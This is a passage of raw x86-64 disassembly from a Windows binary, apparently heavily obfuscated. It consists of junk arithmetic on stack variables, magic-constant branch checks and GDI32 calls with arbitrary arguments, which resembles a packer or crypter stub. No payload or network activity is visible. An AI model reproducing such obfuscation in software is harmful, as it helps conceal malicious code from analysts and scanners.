mov rax, qword [rsp + 0x13c0]
movsx eax, word [rax]
movzx ecx, al
shl edi, cl
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
cmp edi, eax
jg 0x14003fe72
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
mov dword [rsp + 0xba44], eax
cmp dword [rsp + 0xba44], 0x2f77
je 0x14003fdf0
jmp 0x14003fe5b
mov eax, dword [rsp + 0x99c0]
mov ecx, dword [0x1400f7e28]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9488]
call qword [sym.imp.GDI32.dll_GetStretchBltMode]
mov dword [rsp + 0x6804], eax
mov rcx, qword [rsp + 0x3758]
mov rax, qword [rsp + 0x40d8]
sub rax, rcx
mov qword [0x1400f62c8], rax
mov rcx, qword [rsp + 0x9a10]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
jmp 0x14003fe70
mov rcx, qword [rsp + 0x3d48]
call qword [sym.imp.GDI32.dll_GetDCBrushColor]
mov dword [rsp + 0x6e98], eax
jmp 0x14003fe92
mov rcx, qword [rsp + 0xb690]
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov dword [rsp + 0x3b8], 0x55e4
mov dword [rsp + 0x9664], 0xdf72
cmp dword [rsp + 0x8c98], 0x891f
jb 0x14004049a
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
add ecx, eax
mov rax, qword [rsp + 0x4c58]
mov word [rax], cx
movzx edx, word [rsp + 0xa8b0]
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x5218], ax
movsx ecx, byte [rsp + 0x6958]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [rsp + 0xb208]
mov byte [rax], cl
movzx eax, word [rsp + 0xa8b0]
movzx ecx, word [rsp + 0x5218]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x99c0]
shr eax, cl
mov dword [0x1400f62d8], eax
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x5298]
or rax, rcx
mov qword [rsp + 0x6e48], rax
mov eax, dword [rsp + 0x4af4]
movzx ecx, al
mov eax, dword [rsp + 0x6804]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0xfb8]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
movsx ecx, byte [str.__._v]
movsx eax, byte [rsp + 0x2858]
and ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [rsp + 0x2740]
mov byte [rax], cl
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x5218]
add ecx, eax
mov rax, qword [rsp + 0xacd8]
mov word [rax], cx
mov rax, qword [rsp + 0x7350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6958]
add eax, ecx
mov byte [rsp + 0x2858], al
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [0x1400f62c8]
mov qword [rsp + 0xa318], rax
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov eax, dword [rsp + 0x4af4]
mov ecx, dword [rsp + 0x56a0]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov eax, dword [rsp + 0x8c98]
sub eax, 0x1c
mov dword [rsp + 0x8c98], eax
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5298]
add rax, rcx
mov qword [rsp + 0x9b18], rax
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [rsp + 0x2740]
movzx edx, byte [rax]
movzx eax, byte [rsp + 0x2348]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x91d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x3430]
movsx edx, word [rax]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xfb8]
mov word [rax], cx
mov rax, qword [rsp + 0x69c8]
movzx edx, word [rax]
mov rax, qword [rsp + 0xacd8]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0x40d8]
mov rcx, qword [rsp + 0x4c78]
add rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [0x1400f62d0], rax
mov eax, dword [rsp + 0x4af4]
mov dword [rsp + 0x6804], eax
mov eax, dword [0x1400f62d8]
mov ecx, dword [rsp + 0x99c0]
and ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
sub eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2348], al
movzx ecx, word [rsp + 0x5218]
mov rax, qword [rsp + 0xacd8]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x6958]
sub ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rdx, qword [rsp + 0xb690]
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x6804], eax
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rcx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e48]
or rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c4]
xor eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x4c58]
movsx edx, word [rax]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [0x1400f7548]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x6958]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
movsx eax, byte [rsp + 0x6958]
movsx ecx, byte [rsp + 0x2858]
and eax, ecx
mov byte [rsp + 0x9788], al
mov rax, qword [rsp + 0xa650]
movzx edx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x3758]
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
movsx eax, byte [str.__._v]
and ecx, eax
mov rax, qword [0x1400f7548]
mov byte [rax], cl
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rsp + 0x56a0]
add eax, ecx
mov dword [rsp + 0x6804], eax
mov rcx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x69c8]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
mov rax, qword [rsp + 0x3430]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
sub ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [rsp + 0x2740]
movzx edx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9788]
xor eax, ecx
mov byte [rsp + 0x2858], al
jmp 0x14003fea8
mov rax, qword [rsp + 0xacd8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
cmp dword [rsp + 0x1e0c], 0xcece
jb 0x140040703
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xee0]
shl eax, cl
mov dword [rsp + 0x6804], eax
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1a50]
and eax, ecx
mov dword [0x1400f7e28], eax
mov rcx, qword [rsp + 0x9a10]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [rsp + 0x9b18], rax
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x7350]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x6958], al
mov rax, qword [rsp + 0x3ba8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4274], ax
movzx ecx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x6e48]
add rax, rcx
mov qword [rsp + 0x9b18], rax
mov rcx, qword [rsp + 0x1a10]
mov eax, dword [rsp + 0x6e98]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rdx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [0x1400f62d8], eax
mov rcx, qword [rsp + 0x4c78]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shr rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [0x1400f7548]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x6958]
or ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov eax, dword [rsp + 0x1e0c]
sub eax, 0xb7
mov dword [rsp + 0x1e0c], eax
mov rax, qword [rsp + 0xa650]
movzx edx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x7240]
movzx edx, word [rax]
mov rax, qword [rsp + 0x91d0]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x5218], ax
jmp 0x1400404c4
mov rax, qword [rsp + 0x2740]
movzx edi, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub edi, eax
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
cmp edi, eax
je 0x140040752
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
movsx ecx, byte [str.__._v]
add eax, ecx
mov byte [rsp + 0x9130], al
jmp 0x140040852
mov rax, qword [rsp + 0x2740]
movzx edi, byte [rax]
movzx eax, byte [0x1400f758a]
add edi, eax
movzx edx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
je 0x140040852
mov r8d, 0xc7
mov edx, 0x5c
mov rcx, qword [rsp + 0x2f70]
call qword [sym.imp.GDI32.dll_LineTo]
mov dword [rsp + 0x7b50], eax
mov rax, qword [rsp + 0x7350]
movsx edi, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
and edi, eax
mov rax, qword [rsp + 0x9560]
movsx edx, byte [rax]
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jg 0x140040852
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
mov dword [rsp + 0xba48], eax
cmp dword [rsp + 0xba48], 0x204
je 0x1400407fc
jmp 0x14004083d
mov rcx, qword [rsp + 0x9a10]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x40d8], rax
jmp 0x140040852
mov rcx, qword [rsp + 0x7d98]
call qword [sym.imp.GDI32.dll_AbortPath]
mov dword [rsp + 0x7b50], eax
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1400f62e0], eax
cmp dword [rsp + 0x9664], 0xf372
je 0x140040cff
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6804]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9238]
mov eax, dword [rsp + 0x46cc]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x69c8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x15c4]
or ecx, eax
mov rax, qword [rsp + 0x7240]
mov word [rax], cx
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0xb208]
mov byte [rax], cl
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x4274]
sub ecx, eax
mov rax, qword [rsp + 0x3430]
mov word [rax], cx
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov eax, dword [rsp + 0x9664]
add eax, 0x80
mov dword [rsp + 0x9664], eax
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [rsp + 0x3758]
mov qword [rsp + 0x4c78], rax
mov rcx, qword [rsp + 0x2f8]
mov eax, dword [0x1400f62e0]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov rax, qword [rsp + 0x4c58]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4274], ax
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0xacd8]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0xfb8]
movsx edx, word [rax]
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x9130]
add ecx, eax
mov rax, qword [rsp + 0xb208]
mov byte [rax], cl
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [0x1400f7e28]
and eax, ecx
mov dword [0x1400f62d8], eax
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x9b18]
add rcx, rax
mov rax, qword [rsp + 0x8370]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x6804], eax
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
movsx ecx, byte [rsp + 0x9130]
movsx eax, byte [rsp + 0x2858]
add ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
movsx ecx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0x5cc0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x2348], al
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x2740]
mov byte [rax], cl
movzx edx, byte [0x1400f758a]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rdx, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov eax, dword [rdx]
or eax, ecx
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5298]
sar rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x6f90]
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
movsx ecx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xb208]
mov byte [rax], cl
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f758a]
and eax, ecx
mov byte [rsp + 0x2348], al
movzx ecx, word [rsp + 0xa8b0]
movzx eax, word [rsp + 0x5218]
add ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rdx, qword [rsp + 0xb690]
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [0x1400f62e0], eax
jmp 0x14004086e
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
add rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x3758], rax
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9b18], rax
mov rcx, qword [rsp + 0x9238]
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov eax, dword [rsp + 0x20e0]
add eax, 0x81
mov dword [rsp + 0x20e0], eax
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
movzx edx, byte [rsp + 0x2348]
movzx eax, byte [0x1400f758a]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x5cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x5218]
xor ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0x2740]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0xa318]
movzx ecx, al
mov rax, qword [rsp + 0x3758]
shr rax, cl
mov qword [0x1400f62c8], rax
mov eax, dword [rsp + 0x46cc]
mov ecx, dword [rsp + 0x60e0]
and ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x9a10]
mov rcx, qword [rsp + 0x8370]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5298], rax
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2f8]
add eax, dword [rcx]
mov dword [rsp + 0x4af4], eax
cmp dword [rsp + 0x20e0], 0x5996
jne 0x140040cff
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov dword [rsp + 0xba4c], eax
cmp dword [rsp + 0xba4c], 0
je 0x140040f15
cmp dword [rsp + 0xba4c], 0x3735ffa2
je 0x140040ec7
jmp 0x1400b4c91
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5218]
sub eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x2348]
add ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rcx, qword [rsp + 0xa318]
call fcn.1400b5940
jmp 0x1400b4c91
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov dword [rsp + 0xba50], eax
cmp dword [rsp + 0xba50], 0x51afad5f
je 0x140040f35
jmp 0x140040f9b
mov r8d, 0x6e
mov edx, 0xf0
mov rcx, qword [rsp + 0x7d98]
call qword [sym.imp.GDI32.dll_OffsetClipRgn]
mov dword [rsp + 0x6804], eax
movsx ecx, byte [rsp + 0x9788]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
jmp 0x140041040
mov rax, qword [rsp + 0x9b18]
mov qword [rsp + 0xba58], rax
cmp qword [rsp + 0xba58], 0
je 0x140040fcc
movabs rax, 0x34995f97a26d0971
cmp qword [rsp + 0xba58], rax
je 0x14004101e
jmp 0x140041040
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov qword [0x1400f8370], rax
lea rax, [rsp + 0x9b18]
mov qword [rsp + 0x9c28], rax
mov rax, qword [rsp + 0x6f90]
mov rcx, qword [rsp + 0x3758]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
lea rax, [rsp + 0xee0]
mov qword [rsp + 0x4258], rax
jmp 0x140041040
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e98]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
lea rax, [rsp + 0x4274]
mov qword [rsp + 0x1130], rax
mov eax, dword [rsp + 0x99c0]
mov dword [rsp + 0xba60], eax
cmp dword [rsp + 0xba60], 0x5df92f30
je 0x1400411e4
cmp dword [rsp + 0xba60], 0xcd753366
je 0x140041081
jmp 0x140041246
mov rdx, qword [rsp + 0x9a10]
mov rax, qword [rsp + 0x8370]
mov rax, qword [rax]
mov rdx, qword [rdx]
xor rdx, rax
mov rcx, qword [rsp + 0x6e48]
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
sar rax, cl
cmp rdx, rax
jne 0x1400410e8
movsx eax, byte [rsp + 0x2858]
movsx ecx, byte [rsp + 0x9788]
or eax, ecx
mov byte [rsp + 0x6958], al
mov edx, 2
mov rcx, qword [rsp + 0x7d98]
call qword [sym.imp.GDI32.dll_SetTextCharacterExtra]
mov dword [rsp + 0x56a0], eax
mov rax, qword [rsp + 0x5cc0]
movzx edi, byte [rax]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
and edi, eax
mov rax, qword [rsp + 0x2740]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
cmp edi, eax
jl 0x1400411e2
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rax, qword [0x1400f7f18]
mov al, byte [rax]
mov byte [rsp + 0xba64], al
cmp byte [rsp + 0xba64], 0xbd
je 0x1400411b8
cmp byte [rsp + 0xba64], 0xc2
je 0x140041169
jmp 0x1400411e2
call qword [sym.imp.GDI32.dll_GdiGetBatchLimit]
mov dword [rsp + 0xca8], eax
mov rax, qword [rsp + 0x1130]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x4274], ax
movzx ecx, byte [rsp + 0x2348]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
jmp 0x1400411e2
lea r9, [rsp + 0x7488]
mov r8d, 0x41
